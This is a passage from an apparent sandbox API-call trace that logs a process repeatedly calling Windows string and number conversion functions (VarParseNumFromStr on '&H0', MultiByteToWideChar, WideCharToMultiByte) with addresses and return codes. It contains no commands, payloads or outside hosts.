pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.095] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.095] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.096] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.096] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.096] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.096] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.097] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.097] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.097] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.097] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.097] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.097] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.097] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.097] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.098] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.098] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.098] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.098] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.098] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.099] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.099] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.100] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.100] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.100] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.100] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.100] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.101] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.102] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.102] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.102] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.102] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.102] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.103] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.103] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.103] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.104] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.104] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.104] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.104] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.105] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.105] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.105] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.105] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.105] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.105] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.106] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.106] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.106] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.106] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.107] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.107] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.107] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.107] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.108] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.108] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.108] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.108] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.108] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.108] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.109] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.109] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.109] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x1436834, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.109] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.110] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, rgbDig=0x18f888 | out: pnumprs=0x18f8a8, rgbDig=0x18f888) returned 0x0 [0062.110] VarNumFromParseNum (in: pnumprs=0x18f8a8, rgbDig=0x18f888, dwVtBits=0x8, pvar=0x18f8d8 | out: pvar=0x18f8d8) returned 0x0 [0062.110] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f8f0, cbMultiByte=1, lpWideCharStr=0x142ca34, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0062.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0062.110] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=1, lpMultiByteStr=0x1430114, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0062.110] VarParseNumFromStr (in: strIn="&H0", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18f8a8, 